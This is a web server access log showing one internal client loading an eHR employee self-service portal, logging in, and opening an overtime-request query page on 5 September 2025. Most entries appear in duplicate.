192.168.11.152 - - [05/Sep/2025:16:18:52 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:53 +0800] "GET /eHR/ HTTP/1.1" 200 649
192.168.11.152 - - [05/Sep/2025:16:18:53 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.152 - - [05/Sep/2025:16:18:53 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:53 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.152 - - [05/Sep/2025:16:18:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.152 - - [05/Sep/2025:16:18:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.152 - - [05/Sep/2025:16:18:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.152 - - [05/Sep/2025:16:19:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.152 - - [05/Sep/2025:16:19:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://hcp.maglayers.com.cn:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.152 - - [05/Sep/2025:16:19:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:06 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.11.152 - - [05/Sep/2025:16:19:06 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:06 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.152 - - [05/Sep/2025:16:19:06 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.152 - - [05/Sep/2025:16:19:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.152 - - [05/Sep/2025:16:19:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.152 - - [05/Sep/2025:16:19:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:24 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.152 - - [05/Sep/2025:16:19:24 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://hcp.maglayers.com.cn:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.152 - - [05/Sep/2025:16:19:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:29 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:19:29 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
